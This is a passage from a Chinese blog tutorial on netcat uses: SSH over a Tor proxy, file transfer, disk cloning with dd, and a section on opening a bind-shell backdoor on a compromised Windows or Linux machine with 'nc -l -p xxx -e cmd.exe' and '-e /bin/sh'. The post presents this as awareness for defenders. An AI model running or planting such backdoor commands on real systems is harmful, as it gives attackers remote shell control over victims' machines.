\u4ee3\u7406\u8054\u7f51\u4e86\uff09\u3002<br>\u3000\u3000\u5982\u679c\u6ca1\u6709\u663e\u793a\u8fd9\u4e2a\u4fe1\u606f\uff0c\u800c\u662f\u663e\u793a\u4e86\u5176\u5b83\u5176\u5b83\u4fe1\u606f\uff0c\u4f60\u518d\u7528\u5982\u4e0b\u547d\u4ee4\u91cd\u65b0\u8bd5\u4e00\u6b21<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ssh -o \"ProxyCommand=nc -X 5 -x \u4ee3\u7406\u5730\u5740:\u7aef\u53e3\u53f7 %h %p\" -Tv ssh.github.com<\/pre>\n\n\n\n<p>\u8fd9\u6b21\u4ffa\u52a0\u4e86\u4e00\u4e2a v \u9009\u9879\uff0c\u53ef\u4ee5\u6253\u5370\u51fa\u8be6\u7ec6\u7684\u8bca\u65ad\u4fe1\u606f\uff08\u4e0d\u8fc7\u90fd\u662f\u6d0b\u6587\uff09\u3002\u5982\u679c\u4f60\u7565\u61c2\u6d0b\u6587\u5e76\u7565\u61c2\u7f51\u7edc\u6280\u672f\uff0c\u6216\u8bb8\u80fd\u5224\u65ad\u51fa\u9519\u7684\u539f\u56e0\u6240\u5728\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u641e\u5b9a\u4e4b\u540e\uff0c\u4e3a\u4e86\u65b9\u4fbf\u8d77\u89c1\uff0c\u540c\u6837\u53ef\u4ee5\u628a SSH \u7684\u8fd9\u4e2a&nbsp;<code>ProxyCommand<\/code>&nbsp;\u547d\u4ee4\u884c\u9009\u9879\u52a0\u5165\u5230 SSH \u7684\u914d\u7f6e\u6587\u4ef6\u3002\u5982\u6b64\u4e00\u6765\uff0c\u4ee5\u540e\u6bcf\u6b21\u4f60\u8981\u8fde\u63a5 GitHub \u7684\u670d\u52a1\u5668\uff0c\u90fd\u4f1a\u81ea\u52a8\u8d70 Tor \u63d0\u4f9b\u7684 SOCKS \u4ee3\u7406\u3002<br>\u3000\u3000\u524d\u9762\u4ffa\u5df2\u7ecf\u7ed9\u51fa\u4e86 SSH \u914d\u7f6e\u6587\u4ef6\u7684\u793a\u4f8b\uff0c\u4ffa\u628a\u4e4b\u524d\u90a3\u4e2a\u793a\u4f8b\u6587\u4ef6\uff0c\u52a0\u4e0a&nbsp;<code>ProxyCommand<\/code>&nbsp;\u9009\u9879\u4e4b\u540e\uff0c\u53d8\u4e3a\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Host \u522b\u540d<br>&nbsp;&nbsp;HostName                  ssh.github.com<br>&nbsp;&nbsp;Port                      443<br>&nbsp;&nbsp;User                      git<br>&nbsp;&nbsp;PreferredAuthentications  publickey<br>&nbsp;&nbsp;IdentityFile              \u79c1\u94a5\u6587\u4ef6\u8def\u5f84<br>&nbsp;&nbsp;ProxyCommand              <strong>nc -X 5 -x \u4ee3\u7406\u5730\u5740:\u7aef\u53e3\u53f7 %h %p<\/strong><\/pre>\n\n\n\n<p>\u3000\u3000<strong>\u6ce8\u610f1\uff1a<\/strong><br>\u3000\u3000\u5047\u5982\u4f60\u7684 Tor \u5ba2\u6237\u7aef\u8fd0\u884c\u5728\u3010\u672c\u673a\u3011\uff0c\u90a3\u4e48\u4e0a\u8ff0\u547d\u4ee4\u4e2d\u7684\u201c\u4ee3\u7406\u5730\u5740\u201d\u5c31\u66ff\u6362\u4e3a&nbsp;<code>127.0.0.1<\/code><br>\u3000\u3000\u5426\u5219\u5c31\u66ff\u6362\u4e3a\uff1aTor \u5ba2\u6237\u7aef\u6240\u5728\u4e3b\u673a\u7684 IP \u5730\u5740\u3002<br>\u3000\u3000<strong>\u6ce8\u610f2\uff1a<\/strong><br>\u3000\u3000\u5982\u679c\u4f60\u7684 Tor \u5ba2\u6237\u7aef\u7528\u7684\u662f&nbsp;<strong>Tor Browser<\/strong>\uff0c\u201c\u7aef\u53e3\u53f7\u201d\u5fc5\u987b\u662f&nbsp;<code>9150<\/code><br>\u3000\u3000\u5982\u679c\u4f60\u7528\u7684\u662f Tor \u7684\u5176\u5b83\u8f6f\u4ef6\u5305\uff0c\u5219\u201c\u7aef\u53e3\u53f7\u201d\u4f7f\u7528&nbsp;<code>9050<\/code><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a\u201cSSH over Tor\u201d\u4e0e\u201cTor over SSH\u201d<\/h3>\n\n\n\n<p>\u3000\u3000\u5373\u4f7f\u61c2\u6280\u672f\u7684\u540c\u5b66\uff0c\u6709\u65f6\u5019\u4e5f\u4f1a\u6df7\u6dc6\u8fd9\u4e24\u8005\u3002\u4ffa\u987a\u4fbf\u6f84\u6e05\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<p>\u3000\u3000<strong>Tor over SSH<\/strong><br>\u3000\u3000\u8fd9\u79cd\u65b9\u5f0f\u76f8\u5f53\u4e8e SSH \u4f5c\u4e3a Tor \u7684\u524d\u7f6e\u4ee3\u7406\u3002\u5047\u8bbe\u4f60\u6709\u4e00\u4e2a\u5899\u5916\u7684 SSH server\uff0c\u800c\u4e14\u6ca1\u6709\u88ab GFW \u5c4f\u853d\uff0c\u5c31\u53ef\u4ee5\u7528\u8fd9\u62db\uff0c\u8ba9\u4f60\u7684 Tor \u5ba2\u6237\u7aef\u901a\u8fc7\u8fd9\u4e2a SSH server \u8054\u7f51\u3002<\/p>\n\n\n\n<p>\u3000\u3000<strong>SSH over Tor<\/strong><br>\u3000\u3000\u8fd9\u662f\u8ba9 SSH \u901a\u8fc7 Tor \u7f51\u7edc\uff08\u6697\u7f51\uff09\u8fde\u63a5\u5230 SSH \u670d\u52a1\u5668\uff0c\u4ece\u800c\u9690\u85cf SSH \u5ba2\u6237\u7aef\u7684\u3010\u771f\u5b9e\u3011\u516c\u7f51 IP\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0cSSH \u670d\u52a1\u5668\u770b\u5230\u7684\u8bbf\u95ee\u8005 IP \u662f\u201cTor \u51fa\u53e3\u8282\u70b9\u7684\u516c\u7f51 IP\u201d\u3002<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u65709\uff1a\uff08\u7cfb\u7edf\u7ba1\u7406\uff09\u7528 nc \u4f20\u8f93\u6587\u4ef6<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p>\u3000\u3000\u6709\u65f6\u5019\uff0c\u4f60\u9700\u8981\u5728\u4e24\u53f0\u7535\u8111\u4e4b\u95f4\u4f20\u8f93\u6587\u4ef6\u3002\u4e5f\u53ef\u4ee5\u7528 nc \u641e\u5b9a\u3002<br>\u3000\u3000\u4ffa\u731c\u5230\u67d0\u4e9b\u6280\u672f\u5c0f\u767d\u4f1a\u95ee\uff1a\u4e3a\u5565\u4e0d\u7528 Windows \u7684\u5171\u4eab\u76ee\u5f55\uff1f<br>\u3000\u3000\u53cd\u9a73\u7684\u7406\u7531\u5f88\u591a\u2014\u2014<br>\u53cd\u9a731\uff1a\u8fd9\u4e2a\u73a9\u610f\u513f\u53ea\u80fd\u5728 Windows \u4e0a\u7528\u3002<br>\u53cd\u9a732\uff1a\u4e3a\u4e86\u4f7f\u7528\u201c\u5171\u4eab\u76ee\u5f55\u201d\uff0c\u9700\u8981\u542f\u7528\uff08Enable\uff09\u7cfb\u7edf\u4e2d\u7684\u597d\u51e0\u4e2a service\uff0c\u8fd9\u4f1a\u589e\u52a0\u4f60\u7cfb\u7edf\u7684\u3010\u653b\u51fb\u9762\u3011\u3002<br>\u53cd\u9a733\uff1a\u542f\u7528\u7684 service \u8d8a\u591a\uff0c\u5360\u7528\u7684\u5185\u5bb9\u4e5f\u8d8a\u591a\uff0c\u5f71\u54cd\u6027\u80fd\u3002<br>&#8230;&#8230;<br>\u3000\u3000\u8fd8\u6709\u4e9b\u540c\u5b66\u4f1a\u95ee\uff1a\u4e3a\u5565\u4e0d\u7528 FTP\u3001SSH\uff08\u6216\u8bf8\u5982\u6b64\u7c7b\u7684\u4e1c\u4e1c\uff09\uff1f<br>\u3000\u3000\u4ffa\u89c9\u5f97\uff1a<br>1\u3001\u5982\u679c\u53ea\u662f\u4e34\u65f6\u4f20\u4e00\u4e2a\u6587\u4ef6\uff0c\u8fd8\u8981\u989d\u5916\u518d\u53bb\u88c5\u67d0\u67d0\u8f6f\u4ef6\u7684\u5ba2\u6237\u7aef\/\u670d\u52a1\u7aef\uff0c\u5c82\u4e0d\u662f\u5f88\u86cb\u75bc\uff1f<br>2\u3001\u4efb\u4f55\u670d\u52a1\u7aef\u8f6f\u4ef6\uff0c\uff08\u4ece\u67d0\u79cd\u610f\u4e49\u4e0a\u8bf4\uff09\u90fd\u662f\u5728\u3010\u589e\u52a0\u653b\u51fb\u9762\u3011\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u3000\u3000\u4e3a\u4e86\u53d9\u8ff0\u65b9\u4fbf\uff0c\u5047\u8bbe\u4f60\u6709\u4e24\u53f0\u4e3b\u673a A \u4e0e B\uff0c\u4f60\u8981\u628a A \u4e3b\u673a\u4e0a\u7684\u6587\u4ef6 file1 \u4f20\u8f93\u5230 B \u4e3b\u673a\u4e0a\uff0c\u4fdd\u5b58\u4e3a file2<\/p>\n\n\n\n<p>\u3000\u3000\u4f60\u5148\u5728\u3010\u63a5\u6536\u7aef\u3011\uff08B \u4e3b\u673a\uff09\u8fd0\u884c\u5982\u4e0b\u547d\u4ee4\uff08\u5176\u4e2d\u7684&nbsp;<code>xxx<\/code>&nbsp;\u662f\u7aef\u53e3\u53f7\uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -l -p xxx &gt; file2<\/pre>\n\n\n\n<p>\u3000\u3000\u7136\u540e\u5728\u3010\u53d1\u9001\u7aef\u3011\uff08A \u4e3b\u673a\uff09\u8fd0\u884c\u5982\u4e0b\u547d\u4ee4\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc x.x.x.x xxx &lt; file1<\/pre>\n\n\n\n<p>\u3000\u3000\u7b2c\u4e8c\u6761\u547d\u4ee4\u4e2d\u7684&nbsp;<code>xxx<\/code>&nbsp;\u662f\u7aef\u53e3\u53f7\uff0c\u8981\u4e0e\u7b2c\u4e00\u6761\u547d\u4ee4\u4e2d\u7684\u7aef\u53e3\u53f7\u76f8\u540c\uff1b\u7b2c\u4e8c\u6761\u547d\u4ee4\u4e2d\u7684&nbsp;<code>x.x.x.x<\/code>&nbsp;\u662f\u3010\u4e3b\u673a B\u3011\u7684 IP \u5730\u5740\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1anc \u7684\u6027\u80fd\u4f18\u52bf<\/h3>\n\n\n\n<p>\u3000\u3000\u7528 nc \u4f20\u8f93\u6587\u4ef6\uff0c\u76f8\u5f53\u4e8e\u662f\uff1a\u76f4\u63a5\u5728\u3010\u88f8 TCP\u3011\u5c42\u9762\u4f20\u8f93\u3002\u4f60\u53ef\u4ee5\u901a\u4fd7\u7406\u89e3\u4e3a\uff1a\u3010\u6ca1\u6709\u3011\u5e94\u7528\u5c42\u3002<br>\u3000\u3000\uff08\u4e0d\u719f\u6089\u7f51\u7edc\u5206\u5c42\u7684\u540c\u5b66\uff0c\u518d\u53bb\u590d\u4e60\u4e00\u4e0b OSI \u6a21\u578b\uff09<br>\u3000\u3000\u5982\u679c\u4f60\u4f20\u8f93\u7684\u6587\u4ef6\u3010\u8d85\u7ea7\u5927\u3011\u6216\u8005\u6587\u4ef6\u6570\u91cf\u3010\u8d85\u7ea7\u591a\u3011\uff0c\u7528 nc \u4f20\u8f93\u6587\u4ef6\u7684\u6027\u80fd\u4f18\u52bf\u4f1a\u5f88\u660e\u663e\uff08\u76f8\u6bd4\u201cFTP\u3001SSH\u3001\u5171\u4eab\u76ee\u5f55&#8230;\u201d\u800c\u8a00\uff09<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u657010\uff1a\uff08\u7cfb\u7edf\u7ba1\u7406\uff09\u7528 nc \u8fdc\u7a0b\u5907\u4efd\u6574\u4e2a\u78c1\u76d8<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p>\u3000\u3000\u5f53\u4f60\u5b66\u4f1a\u201c\u7528 nc \u4f20\u8f93\u6587\u4ef6\u201d\uff0c\u8fd8\u53ef\u4ee5\u7528 nc\u3010\u590d\u5236\u6574\u4e2a\u786c\u76d8\u3011\u3002<br>\u3000\u3000\u65e0\u8bba\u662f\u5bf9\u201c\u7cfb\u7edf\u7ba1\u7406\u5458\u201d\uff0c\u8fd8\u662f\u5bf9\u201c\u5165\u4fb5\u8005\u201d\u751a\u81f3\u662f\u201c\u6570\u636e\u53d6\u8bc1\u4eba\u5458\u201d\uff0c\u8fd9\u62db\u90fd\u662f\u86ee\u6709\u7528\u6ef4\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u8003\u8651\u5230\u67d0\u4e9b\u8bfb\u8005\u662f\u201c\u6280\u672f\u83dc\u9e1f\u201d\uff0c\u4ffa\u7a0d\u5fae\u8bf4\u660e\u4e00\u4e0b\u3002<br>\u3000\u3000\u201c\u78c1\u76d8\u590d\u5236\u201d\u3010\u4e0d\u540c\u4e8e\u3011\u201c\u5728\u4e24\u5757\u78c1\u76d8\u4e4b\u95f4\u590d\u5236\u6587\u4ef6\u201d\u3002\u4e24\u8005\u4e4b\u95f4\u6709\u5f88\u591a\u5dee\u522b\uff0c\u81f3\u5c11\u5305\u62ec\uff1a<br>\u3000\u3000<strong>\u6027\u80fd\u5dee\u5f02<\/strong>\u2014\u2014\u5982\u679c\u201c\u6e90\u76d8\u201d\u4e0a\u6709\u975e\u5e38\u591a\u7684\u5c0f\u6587\u4ef6\uff0c\u201c\u5728\u4e24\u5757\u78c1\u76d8\u4e4b\u95f4\u590d\u5236\u6587\u4ef6\u201d\u5c31\u4f1a\u3010\u975e\u5e38\u6162\u3011\u3002<br>\u3000\u3000<strong>\u5b8c\u6574\u6027\u5dee\u5f02<\/strong>\u2014\u2014\u201c\u78c1\u76d8\u590d\u5236\u201d\u53ef\u4ee5\u786e\u4fdd\u4e24\u5757\u76d8\u7684\u5185\u5bb9\u662f\u5b8c\u5168\u4e00\u81f4\u6ef4\u3002\u800c\u5982\u679c\u4f60\u4ec5\u4ec5\u5728\u4e24\u5757\u78c1\u76d8\u4e4b\u95f4\u590d\u5236\u6587\u4ef6\uff0c\u5f88\u591a\u4fe1\u606f\u90fd\u635f\u5931\u6389\u4e86\u3002<br>\u3000\u3000\u4e00\u822c\u6765\u8bf4\uff0c\u201c\u7cfb\u7edf\u7ba1\u7406\u5458\u201d\u548c\u201c\u5165\u4fb5\u8005\u201d\u66f4\u770b\u91cd\u7b2c1\u4e2a\u5dee\u5f02\uff08\u6027\u80fd\uff09\uff1b\u800c\u201c\u6570\u636e\u53d6\u8bc1\u4eba\u5458\u201d\u66f4\u770b\u91cd\u7b2c2\u4e2a\u5dee\u5f02\uff08\u5b8c\u6574\u6027\uff09\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u539f\u7406<\/h3>\n\n\n\n<p>\u3000\u3000\u4e3a\u4e86\u4f20\u8f93\u6574\u4e2a\u78c1\u76d8\uff0c\u4f60\u9700\u8981\u7528\u5230&nbsp;<code>dd<\/code>&nbsp;\u547d\u4ee4\u3002\u8fd9\u73a9\u610f\u513f\u6e90\u81ea UNIX\uff0c\u540e\u6765\u4e5f\u79fb\u690d\u5230 Linux \u548c Windows\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u901a\u8fc7&nbsp;<code>dd<\/code>&nbsp;\u547d\u4ee4\uff0c\u4f60\u53ef\u4ee5\u628a\u201c\u6574\u4e2a\u786c\u76d8\u201d\uff08\u6216\u8005\u786c\u76d8\u4e0a\u7684\u67d0\u4e2a\u201c\u7269\u7406\u5206\u533a\u201d\u3001\u201c\u903b\u8f91\u5206\u533a\u201d\uff09dump \u6210\u4e00\u4e2a\u6587\u4ef6\u3002<br>\u3000\u3000\u5728\u672c\u7ae0\u8282\uff0c\u7531\u4e8e\u6700\u7ec8\u76ee\u7684\u662f\u8981\u3010\u8de8\u4e3b\u673a\u5907\u4efd\u78c1\u76d8\u3011\uff0c\u6240\u4ee5\u5e76\u3010\u4e0d\u3011\u9700\u8981\u771f\u7684\u628a&nbsp;<code>dd<\/code>&nbsp;\u547d\u4ee4\u7684\u8f93\u51fa\u4fdd\u5b58\u6210\u6587\u4ef6\uff0c\u800c\u662f\u628a&nbsp;<code>dd<\/code>&nbsp;\u7684\u8f93\u51fa\u901a\u8fc7\u7ba1\u9053\u7b26\uff08<code>|<\/code>\uff09\u91cd\u5b9a\u5411\u7ed9\u3010\u672c\u673a\u3011\u7684 nc\uff0c\u7136\u540e\u8ba9\u3010\u672c\u673a\u3011\u7684 nc \u53d1\u9001\u5230\u53e6\u4e00\u53f0\u4e3b\u673a\u7684 nc\uff08\u53c2\u89c1\u524d\u4e00\u4e2a\u62db\u6570\uff09\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u3000\u3000\u7531\u4e8e\u64cd\u4f5c\u7269\u7406\u78c1\u76d8\u4f1a\u6d89\u53ca\u5230\u64cd\u4f5c\u7cfb\u7edf\u7684\u5dee\u5f02\uff0c\u4e0b\u9762\u4ffa\u4ee5 Linux \u4e3e\u4f8b\u3002<br>\u3000\u3000\u5047\u8bbe\u4f60\u8981\u628a A \u4e3b\u673a&nbsp;<code>\/dev\/sda<\/code>&nbsp;\u78c1\u76d8\u7684\u3010\u539f\u59cb\u6570\u636e\u3011\u6574\u4e2a\u590d\u5236\u5230 B \u4e3b\u673a\u7684&nbsp;<code>\/dev\/sdb<\/code>&nbsp;\u78c1\u76d8\u3002<\/p>\n\n\n\n<p>\u3000\u3000\u4f60\u5148\u5728\u3010\u63a5\u6536\u7aef\u3011\uff08B \u4e3b\u673a\uff09\u8fd0\u884c\u5982\u4e0b\u547d\u4ee4\uff08\u5176\u4e2d\u7684&nbsp;<code>xxx<\/code>&nbsp;\u662f\u7aef\u53e3\u53f7\uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -l -p xxx | dd of=\/dev\/sdb<\/pre>\n\n\n\n<p>\u3000\u3000\u7136\u540e\u5728\u3010\u53d1\u9001\u7aef\u3011\uff08A \u4e3b\u673a\uff09\u8fd0\u884c\u5982\u4e0b\u547d\u4ee4\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">dd if=\/dev\/sda | nc x.x.x.x xxx<\/pre>\n\n\n\n<p>\u3000\u3000\u7b2c\u4e8c\u6761\u547d\u4ee4\u4e2d\u7684&nbsp;<code>xxx<\/code>&nbsp;\u662f\u7aef\u53e3\u53f7\uff0c\u8981\u4e0e\u7b2c\u4e00\u6761\u547d\u4ee4\u4e2d\u7684\u7aef\u53e3\u53f7\u76f8\u540c\uff1b\u7b2c\u4e8c\u6761\u547d\u4ee4\u4e2d\u7684&nbsp;<code>x.x.x.x<\/code>&nbsp;\u662f\u3010\u4e3b\u673a B\u3011\u7684 IP \u5730\u5740\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1anc \u7684\u6027\u80fd\u4f18\u52bf<\/h3>\n\n\n\n<p>\u3000\u3000\u5982\u4eca\u7684\u5b58\u50a8\u8bbe\u5907\u8d8a\u6765\u8d8a\u5927\u4e86\u3002\u201c\u78c1\u76d8\u201d\u6216\u8005\u201c\u5206\u533a\u201d\uff0c\u52a8\u4e0d\u52a8\u90fd\u662f\u51e0\u767e\u4e2a GB\uff0c\u8fd9\u65f6\u5019 nc \u7684\u3010\u6027\u80fd\u4f18\u52bf\u3011\u5c31\u4f53\u73b0\u51fa\u6765\u5566\u3002<br>\u3000\u3000\uff08\u5177\u4f53\u7684\u539f\u56e0\uff0c\u524d\u4e00\u4e2a\u7ae0\u8282\u5df2\u7ecf\u5206\u6790\u8fc7\u4e86\uff09<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u2605\u62db\u657011\uff1a\uff08\u5165\u4fb5\u624b\u6cd5\uff09\u7528 nc \u5f00\u542f\u3010\u88ab\u52a8\u3011\u8fde\u63a5\u578b\u540e\u95e8<\/h2>\n\n\n\n<p>\u3000\u3000\u65e2\u7136\u804a netcat\uff0c\u5f88\u81ea\u7136\u5730\u4f1a\u804a\u5230\u201c\u9ed1\u5ba2\/\u9a87\u5ba2\u201d\u7684\u5165\u4fb5\u62db\u6570\u3002<br>\u3000\u3000\u505a\u8fd9\u65b9\u9762\u7684\u4ecb\u7ecd\uff0c\u5e76\u3010\u4e0d\u662f\u3011\u4e3a\u4e86\u4f20\u6388\u5165\u4fb5\u6280\u5de7\uff1b\u800c\u662f\u4e3a\u4e86\u2014\u2014\u8ba9\u90a3\u4e9b\u6ce8\u91cd\u5b89\u5168\u6027\u7684\u540c\u5b66\uff0c\u80fd\u505a\u5230\u201c\u77e5\u5df1\u77e5\u5f7c\u201d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u4f7f\u7528\u573a\u666f<\/h3>\n\n\n\n<p>\u3000\u3000\u5047\u8bbe1\uff1a\u4f60\u4f7f\u7528\u7684\u6d4f\u89c8\u5668\u5b58\u5728\u67d0\u4e2a\u5b89\u5168\u6f0f\u6d1e\uff0c\u5e76\u4e14\u8be5\u6f0f\u6d1e\u4f1a\u8ba9\u653b\u51fb\u8005\u83b7\u5f97\u3010\u6267\u884c\u4ee3\u7801\u3011\u7684\u673a\u4f1a\u3002<br>\u3000\u3000\u5047\u8bbe2\uff1a\u4f60\u5728\u67d0\u4e2a\u516c\u5171\u573a\u5408\u4f7f\u7528\u67d0\u4e2a wifi \u70ed\u70b9\u4e0a\u7f51\u3002\u9057\u61be\u7684\u662f\uff0c\u8fd9\u4e2a\u70ed\u70b9\u662f\u653b\u51fb\u8005\u8bbe\u7f6e\u7684\u9677\u9631\u3002<br>\u3000\u3000\u5047\u8bbe3\uff1a\u8bbe\u7f6e\u8be5\u9677\u9631\u7684\u653b\u51fb\u8005\uff0c\u6b63\u597d\u4e5f\u77e5\u9053\uff1a\u5982\u4f55\u5229\u7528\u4e0a\u8ff0\u6f0f\u6d1e\u3002<br>\u3000\u3000\u5f53\u8fd9\u4e09\u4e2a\u5047\u8bbe\u90fd\u6210\u7acb\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u83b7\u5f97\u5728\u4f60\u3010\u672c\u673a\u3011\u6267\u884c\u4ee3\u7801\u7684\u673a\u4f1a\u3002\u8fd9\u65f6\u5019\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4e0b\u8f7d\u4e00\u4e2a nc \u5230\u4f60\u672c\u673a\uff0c\u7136\u540e\u7528 nc \u5f00\u542f\u4e00\u4e2a\u3010\u88ab\u52a8\u3011\u8fde\u63a5\u578b\u540e\u95e8\u3002\u6240\u8c13\u7684\u201c\u3010\u88ab\u52a8\u3011\u8fde\u63a5\u578b\u201d\u5c31\u662f\u6307\u2014\u2014nc \u5f00\u542f\u5bf9\u5916\u76d1\u542c\u7aef\u53e3\u3002<br>\u3000\u3000\u5728\u8be5\u573a\u666f\u4e2d\uff0c\u56e0\u4e3a\u653b\u51fb\u8005\u4e0e\u4f60\u5904\u4e8e\u3010\u540c\u4e00\u4e2a\u5c40\u57df\u7f51\u3011\uff0c\u653b\u51fb\u8005\u81ea\u7136\u80fd\u4ece\u81ea\u5df1\u7684\u673a\u5668\u8bbf\u95ee\u5230\u4f60\u672c\u673a\u7684 nc \u540e\u95e8\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u539f\u7406<\/h3>\n\n\n\n<p>\u3000\u3000\u4e3a\u4e86\u8ba9\u540e\u95e8\u80fd\u5de5\u4f5c\uff0c\u901a\u5e38\u4f1a\u4f7f\u7528 nc \u7684&nbsp;<code>-e<\/code>&nbsp;\u9009\u9879\uff0c\u8be5\u9009\u9879\u7684\u201c\u9009\u9879\u503c\u201d\u662f\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u7684\u8def\u5f84\u3002<br>\u3000\u3000\u8bbe\u7f6e\u4e86\u8be5\u9009\u9879\u4e4b\u540e\uff0c\u5f53\u5904\u4e8e\u76d1\u542c\u72b6\u6001\u7684 nc \u63a5\u53d7\u5230\u67d0\u4e2a\u8fde\u63a5\uff0c\u4f1a\u542f\u52a8\u201c\u9009\u9879\u503c\u201d\u5bf9\u5e94\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff08\u5e76\u5f97\u5230\u67d0\u4e2a\u8fdb\u7a0b\uff09\uff0cnc \u4f1a\u628a\u8be5\u8fdb\u7a0b\u7684\u201c\u6807\u51c6\u8f93\u5165\u8f93\u51fa\u201d\u4e0e\u7f51\u7edc\u901a\u8baf\u3010\u5bf9\u63a5\u3011\u3002<br>\u3000\u3000\u4e3a\u4e86\u8ba9\u8fd9\u4e2a\u540e\u95e8\u7528\u8d77\u6765\u8db3\u591f\u723d\uff0c\u653b\u51fb\u8005\u901a\u5e38\u4f1a\u8ba9 nc \u53bb\u542f\u52a8\u4e00\u4e2a\u3010shell \u8fdb\u7a0b\u3011\u3002\u5bf9 Windows \u7cfb\u7edf\u800c\u8a00\uff0c\u5c31\u662f&nbsp;<code>cmd.exe<\/code>\uff1b\u5bf9 POSIX \u7cfb\u7edf\uff08Linux or UNIX\uff09\u800c\u8a00\uff0c\u5c31\u662f&nbsp;<code>\/bin\/sh<\/code><br>\u3000\u3000\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff08nc \u6302\u8f7d shell\uff09\uff0c\u653b\u51fb\u8005\u8fdc\u7a0b\u8fde\u5165 nc \u7684\u7aef\u53e3\uff0c\u5c31\u53ef\u4ee5\u76f4\u63a5\u5728\u8fd9\u4e2a shell \u4e0a\u8fdb\u884c\u5404\u79cd\u64cd\u4f5c\uff0c\u5176\u6548\u679c\u7c7b\u4f3c\u4e8e SSH \u6216\uff08\u8001\u5f0f\u7684\uff09telnet\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u5165\u4fb5\u65b9\u6cd5<\/h3>\n\n\n\n<p>\u3000\u3000<strong>\u6b65\u9aa41<\/strong><br>\u3000\u3000\u5982\u679c\u53d7\u5bb3\u8005\u662f Windows \u7cfb\u7edf\uff0c\u53ea\u987b\u5982\u4e0b\u547d\u4ee4\u5c31\u53ef\u4ee5\u5f00\u542f\u4e00\u4e2a\u540e\u95e8\uff08\u5176\u4e2d\u7684&nbsp;<code>xxx<\/code>&nbsp;\u662f\u7aef\u53e3\u53f7\uff09<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc.exe -l -p xxx -e cmd.exe<\/pre>\n\n\n\n<p>\u3000\u3000\u5982\u679c\u53d7\u5bb3\u8005\u662f POSIX \u7cfb\u7edf\uff08Linux or UNIX\uff09\uff0c\u5219\u7528\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -l -p xxx -e \/bin\/sh<\/pre>\n\n\n\n<p>\u3000\u3000<strong>\u6b65\u9aa42<\/strong><br>\u3000\u3000\u540e\u95e8\u521b\u5efa\u597d\u4e4b\u540e\uff0c\u653b\u51fb\u8005\u5728\u81ea\u5df1\u673a\u5668\u4e0a\u4e5f\u8fd0\u884c nc\uff08\u5ba2\u6237\u7aef nc\uff09\uff0c\u7136\u540e\u8fde\u63a5\u5230\u4f5c\u4e3a\u540e\u95e8\u7684 nc\uff08\u670d\u52a1\u7aef nc\uff09\u3002\u4e00\u65e6\u8fde\u4e0a\u4e4b\u540e\uff0c\u653b\u51fb\u8005\u5c31\u53ef\u4ee5\u5728\u81ea\u5df1\u7684 nc \u4e0a\u770b\u5230\u5bf9\u65b9\uff08\u53d7\u5bb3\u8005\u673a\u5668\uff09\u7684 shell \u63d0\u793a\u7b26\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u25c7\u8865\u5145\u8bf4\u660e\uff1a<code>-e<\/code>&nbsp;\u9009\u9879<\/h3>\n\n\n\n<p>\u3000\u3000\u636e\u8bf4\u662f\u8003\u8651\u5230&nbsp;<code>-e<\/code>&nbsp;\u9009\u9879\u592a\u8fc7\u5371\u9669\uff0cnc \u7684 OpenBSD \u53d8\u79cd\uff08\u5728\u591a\u5e74\u524d\uff09\u5df2\u7ecf\u3010\u79fb\u9664\u3011\u4e86\u8be5\u9009\u9879\u3002\u4f46\u5176\u5b9e\u634f\uff0c\u8fd8\u662f\u53ef\u4ee5\u7528\u95f4\u63a5\u7684\u65b9\u5f0f\u8fbe\u5230\u540c\u6837\u7684\u6548\u679c\uff08\u5177\u4f53\u5982\u4f55\u505a\uff0c\u4ffa\u5c31\u4e0d\u900f\u9732\u5566\uff09\u3002<br>\u3000\u3000\u53e6\uff0c\u201c\u539f\u7248 nc\u201d\u4f9d\u7136\u6709\u8fd9\u4e2a\u9009\u9879\uff1bnc \u7684\u5f88\u591a\u5176\u5b83\u53d8\u79cd\uff0c\u4e5f\u4f9d\u7136\u6709\u8fd9\u4e2a\u9009\u9879\u3002<\/p>\n\n\n\n<h3 